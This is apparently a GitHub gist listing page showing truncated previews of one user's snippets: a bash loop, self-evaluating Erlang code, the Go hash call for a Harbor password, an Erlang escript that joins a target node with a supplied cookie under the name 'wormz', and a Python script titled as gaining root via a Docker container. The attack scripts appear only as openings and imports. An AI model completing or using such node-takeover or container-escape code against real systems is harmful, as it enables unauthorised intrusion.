Skip to content

Instantly share code, notes, and snippets.

@jon-stewart
jon-stewart / gist:6e44aca4e678059c7dad91c4d61df671
Created February 12, 2024 16:31
Bash Loop Stdout (can never remember this)
<command> |
while IFS= read -r line ;
do
echo $line;
done
#!/usr/bin/env escript
%% -*- erlang -*-
main([Target, LocalIP, OldCookie, NewCookie]) ->
TargetNode = list_to_atom(Target),
net_kernel:start([list_to_atom("wormz@" ++ LocalIP)]),
erlang:set_cookie(node(), list_to_atom(OldCookie)),
main([]) ->
Func = fun(Self, Value) ->
io:format("loop : ~p\n", [Value]),
Bindings = erl_eval:add_binding('Self', Self, erl_eval:add_binding('Value', Value, erl_eval:new_bindings())),
erl_eval:exprs(Self, Bindings)
end,
{env, [{_, _, _, Abs}]} = erlang:fun_info(Func, env),
Expression = {'fun', 1, {clauses, Abs}},
main([]) ->
{ok, Tokens, _} = erl_scan:string("io:format(\"recursive eval: ~p\", [X]), erl_eval:exprs(X, erl_eval:add_binding('X', X, erl_eval:new_bindings()))."),
{ok, [Expression]} = erl_parse:parse_exprs(Tokens),
erl_eval:exprs(Expression, erl_eval:add_binding('X', Expression, erl_eval:new_bindings())).
@jon-stewart
jon-stewart / docker_privesc.py
Last active November 28, 2022 20:10
Root via non-privileged Docker container
#!/usr/bin/python3
import docker
from io import BytesIO
import os
import re
import tarfile
import time
@jon-stewart
jon-stewart / main.go
Created September 1, 2020 14:56
Generate Harbor Password
package main
import (
"fmt"
"crypto/sha256"
"golang.org/x/crypto/pbkdf2"
)
func main() {
str := fmt.Sprintf("%x", pbkdf2.Key([]byte("mypassword"), []byte(""), 4096, 16, sha256.New))